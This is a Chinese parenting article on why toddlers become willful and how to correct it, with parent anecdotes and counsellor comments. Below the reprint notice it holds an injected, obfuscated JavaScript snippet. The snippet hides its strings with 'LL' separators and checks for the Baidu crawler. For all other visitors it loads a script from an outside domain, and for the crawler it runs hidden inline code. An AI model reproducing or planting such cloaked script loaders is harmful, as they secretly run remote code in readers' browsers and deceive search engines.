當(dāng)前位置:首頁 > 母嬰 > 育兒知識(shí) > 正文

寶寶任性的原因都有哪些?

2017-01-08 13:02:22  來源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語:現(xiàn)代家庭孩子比較少,有的家庭有兩個(gè),大部分家庭只有一個(gè)孩子,所以比較嬌生慣養(yǎng),很多時(shí)候也滋生了寶寶任性的壞毛病,雖然寶寶現(xiàn)在還小,

現(xiàn)代家庭孩子比較少,有的家庭有兩個(gè),大部分家庭只有一個(gè)孩子,所以比較嬌生慣養(yǎng),很多時(shí)候也滋生了寶寶任性的壞毛病,雖然寶寶現(xiàn)在還小,但是如果任由寶寶的這種任性繼續(xù)下去,將來就很難改正,對(duì)寶寶以后的人際交往等影響都會(huì)很大,因此,寶寶任性需要找到原因,想辦法讓寶寶改正。那么,寶寶任性的原因有哪些呢?下面來看看詳細(xì)介紹。

寶寶任性的原因有哪些?

性格對(duì)人的一生影響很大,如果寶寶任性,并不是一件好事,家長一定要當(dāng)成一個(gè)大問題來看待,并要想辦法解決,解決的根本是要找到寶寶任性的原因,以便對(duì)癥采取策略,不要寶寶任性繼續(xù)下去,一般來講,寶寶任性的原因主要包括:

1.家長的教養(yǎng)方式不當(dāng)。

孩子任性時(shí)家長的態(tài)度如何,家長是否注意孩子日常行為規(guī)范的養(yǎng)成等等,這是關(guān)系到孩子是否任性的重要原因。隨著生活條件的改善和獨(dú)生子女比例的增加,不少孩子成為家庭的中心,孩子想怎么著就怎么著,缺乏行為規(guī)范和自我約束意識(shí)。還有的家長對(duì)孩子在知識(shí)方面要求嚴(yán)格,而在個(gè)性品質(zhì)、行為習(xí)慣、社會(huì)適應(yīng)性等方面沒有要求,孩子想干什么就干什么。這樣的教養(yǎng)方式必然會(huì)造成幼兒的消極創(chuàng)造性行為。

2.隔代喂養(yǎng)。

這很常見,也極具中國特色。祖輩不僅溺愛孫子,也不敢嚴(yán)加管教。現(xiàn)在盡管許多年輕的爸媽都已經(jīng)意識(shí)到其中的弊端,但由于雙方都得上班,又信不過小保姆,因此只能把隔代喂養(yǎng)進(jìn)行到底。

3.同伴交往機(jī)會(huì)缺乏。

隨著人們居住條件的改善,出現(xiàn)了不少“高樓兒童”,這些孩子很少有機(jī)會(huì)與其他孩子一起玩。同伴的缺乏,導(dǎo)致幼兒的玩伴由成人來替代。由于親子交往常常炒是一種平等的交往,因此往往是成人造就孩子。在這種不平等的交往情景里,如不是有意識(shí)地對(duì)孩子進(jìn)行教育培養(yǎng),孩子就會(huì)缺少互助、合作的意識(shí),缺乏謙讓、自制的行為。

4.父母缺乏耐心。

孩子一不聽話,爸媽開始還堅(jiān)持原則,可當(dāng)孩子繼續(xù)為所欲為時(shí),爸媽覺得煩,認(rèn)為“反正教了他也不會(huì)聽”、“孩子還小,不懂事,等他大了自然就會(huì)好的”,而不再堅(jiān)持。這些父母其實(shí)不知道,幼兒的自制力還沒有覺醒,他們大多都希望照著自己的意思去做,因此父母必須堅(jiān)持原則。一個(gè)“種瓜得瓜,種豆得豆”的基本道理很簡(jiǎn)單:假如在孩子尚小的時(shí)候不盡教導(dǎo)的責(zé)任而是一味妥協(xié),就不要期待孩子將來自動(dòng)會(huì)“變”好。

5.幼兒自制能力差,易沖動(dòng)。

思維帶有片面性及刻板性,因此容易任意所為。父母不了解孩子的心理,不問原由地用訓(xùn)斥、打罵等方式回應(yīng)孩子的一切“不合理要求”,從而導(dǎo)致幼兒產(chǎn)生逆反心理,以執(zhí)拗來對(duì)抗父母的粗暴,因而助長幼兒的任性行為。

寶寶任性怎么辦?

1、不給寶寶把任性當(dāng)作要挾父母的機(jī)會(huì)

父母B:我看過前蘇聯(lián)英雄舒拉小時(shí)候的故事。一次他非要在飯前吃飯后才吃的粉羹,爸爸媽媽不僅沒有同意,而且沒有哄他,屋里只剩下舒拉自己。他哭喊了一陣后,不見回音,自覺沒趣就用木塊碼東西玩了。以后每次舒拉任性哭鬧時(shí),爸爸媽媽不遷就他,也不給他當(dāng)“觀眾”,事后再給他講道理。就這樣,很快治好了舒拉任性哭鬧的毛病。我們這樣對(duì)孩子,也沒有孩子任性的煩惱。所以,我的切身體會(huì)是:最好開初時(shí)狠狠心,不遷就孩子,像舒拉的父母那樣防患于未然。

心理咨詢師點(diǎn)評(píng):這位父母的感悟是有道理的,作為一種性格特征,任性有很大的后天因素。你是不是孩子剛一哭鬧,就心軟了,就百依百順?等到孩子掌握了任性哭鬧這個(gè)要挾大人的“法寶”,而無休止地惡性發(fā)展下去時(shí),再想解決就很難辦了。孩子會(huì)很敏銳地抓住時(shí)機(jī),學(xué)會(huì)影響父母,甚至要挾父母。所以,必須從很早就注意對(duì)待孩子的態(tài)度和方式,不給孩子學(xué)會(huì)用任性要挾父母的機(jī)會(huì)。

2、讀懂寶寶的心

父母A:一個(gè)雙休日,我領(lǐng)著女兒逛商店。興致正高時(shí),女兒卻心煩意亂發(fā)脾氣。我一邊哄,一邊勸,怎么也不管用。我急了,準(zhǔn)備抱起孩子往外走。就在我蹲下身來的瞬間,才恍然大悟:原來蹲下身來從孩子的角度看去,看不見色彩斑斕的商品,而是晃來晃去的人腿!怪不得孩子任性發(fā)脾氣,原來和我心情不一樣。我突然領(lǐng)悟到,有時(shí)候孩子任性發(fā)脾氣,有他的道理,我們需要理解孩子,讀懂孩子的心,站在孩子的角度看問題。

心理咨詢師點(diǎn)評(píng):孩子任性不聽話,不接受大人講的道理,往往因?yàn)榇笕瞬欢靶∪恕毙?。如果從孩子的立?chǎng),用孩子的眼光看世界,用孩子的心感受生活,孩子的心才能和我們相通。我們一旦讀懂了孩子的心,在管教孩子的時(shí)候就會(huì)多一些順利,少一些失誤。

3、及時(shí)轉(zhuǎn)移寶寶的注意

父母F:孩子的注意力很容易被吸引到其他方面去,我們就抓住時(shí)機(jī)用轉(zhuǎn)移注意來避免孩子的任性。比如,孩子任性哭鬧,我突然拿出個(gè)新奇的東西自言自語;“唉呀!這東西真奇怪?!被蛘吖首黧@訝地說:“瞧!街上那大汽車裝的是什么?”,要不就說“走,到外面去?!睍r(shí)過境遷,孩子會(huì)忘記了剛才的事。

心理咨詢師點(diǎn)評(píng):人的心態(tài)是由注意決定的,注意轉(zhuǎn)移了,心態(tài)也就變化了。因此,轉(zhuǎn)移注意是矯正孩子任性毛病的可行辦法。想方設(shè)法轉(zhuǎn)移孩子的注意,用不著哄勸,不知不覺間就會(huì)淡化孩子的擰勁,消除任性的毛病。

4、寶寶任性時(shí)不予理睬

父母E:我孩子兩歲的時(shí)候,常常任性胡鬧,我呵斥他就跟夸獎(jiǎng)他一樣,越是呵斥他越是來勁。有天他又任性胡鬧,恰好我手上正忙著一件事情,根本沒顧上他。幾分鐘后,等我忙過了,孩子已經(jīng)在旁邊安靜地玩起來了。這偶然的發(fā)現(xiàn),讓我找到了一個(gè)對(duì)付孩子任性的秘訣,那就是有時(shí)候孩子發(fā)脾氣胡鬧,我全當(dāng)沒看見,一會(huì)兒就風(fēng)平浪靜了。

心理咨詢師點(diǎn)評(píng):孩子都有引起成人關(guān)注的強(qiáng)烈愿望。有時(shí)候孩子胡鬧,與其說是任性不如說是為了吸引成人的注意。而這時(shí)一旦對(duì)孩子給予批評(píng)呵斥,恰好滿足了孩子被關(guān)注的愿望,于是孩子學(xué)會(huì)了用任性來引起成人的關(guān)注,因此,不予理睬是可取的對(duì)策。等孩子終止任性行為的時(shí)候再給予關(guān)注,這樣,就把孩子引起成人關(guān)注的需要和良好的行為表現(xiàn)建立了暫時(shí)神經(jīng)聯(lián)系,從而也就抑制了任性的行為。

5、以合理的方式滿足寶寶的合理需求

父母C:我認(rèn)為,適時(shí)滿足孩子的合理要求,也是預(yù)防孩子任性毛病的一個(gè)方法。比如,孩子一天沒見到你了,想跟你親熱一番,讓你講個(gè)故事什么的,這就是合理要求。你為什么非要等他大哭大鬧犯起性子來再滿足他呢?我孩子剛進(jìn)幼兒園的時(shí)候,我就堅(jiān)持這樣的原則,送孩子的時(shí)候,不等孩子鬧,我就把孩子抱在懷里,擁抱親吻一番,滿足他的親情和皮膚感覺需要,之后絕不再遷就。孩子總能高高興興地跑進(jìn)幼兒園,從沒有因?yàn)椴幌腚x開媽媽而任性犯擰的時(shí)候。

心理咨詢師點(diǎn)評(píng):不錯(cuò),孩子的任性常常是為了爭(zhēng)取某種需要的滿足。聰明的做法是以合理的方式滿足孩子合理的需要;等孩子任性發(fā)脾氣了再來答應(yīng)孩子的要求,是最愚蠢的做法。當(dāng)然,滿足孩子的需要一定要講究條件,對(duì)于不能或不該滿足的需要一定要堅(jiān)守原則,毫不妥協(xié)。

6、給寶寶創(chuàng)造集體生活的機(jī)會(huì)

父母D:一次,我的孩子帶著剛買來的自動(dòng)坦克在外面玩的時(shí)候,鄰居幾個(gè)小朋友想和孩子交換玩。孩子不愿意,我們趕緊勸說他給小朋友玩一會(huì)兒,可他就是不聽,而且和我們?nèi)涡缘卮篝[。別的小朋友則繼續(xù)玩起了他們的游戲,非常開心。我的孩子不鬧不吵了,靜靜地看著他們,最后不得不“求和”,和大家交換玩具,一起玩。由此,我感到,預(yù)防孩子任性的毛病,最好是讓孩子和同伴一起玩。從此,我想了好多辦法,給孩子創(chuàng)造集體活動(dòng)的機(jī)會(huì)。

心理咨詢師點(diǎn)評(píng):任性是自我中心的產(chǎn)物,集體活動(dòng)是破除自我中心的最好途徑。因?yàn)榧w活動(dòng)有其規(guī)范,遵從集體規(guī)范是參與集體活動(dòng)的前提。而孩子的天性就是不喜歡孤獨(dú),所以,讓孩子到伙伴中去,到集體中去,的確是富于遠(yuǎn)見的對(duì)策。

總之,寶寶任性的危害是很大的,而且不利于寶寶的成長,如果家長重視孩子的教育問題,希望養(yǎng)育一個(gè)健康活潑的寶寶,就應(yīng)該了解寶寶任性的原因,從根本上鏟除寶寶任性的這種壞毛病,養(yǎng)成寶寶良好的習(xí)慣和樹立良好的道德修養(yǎng)。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}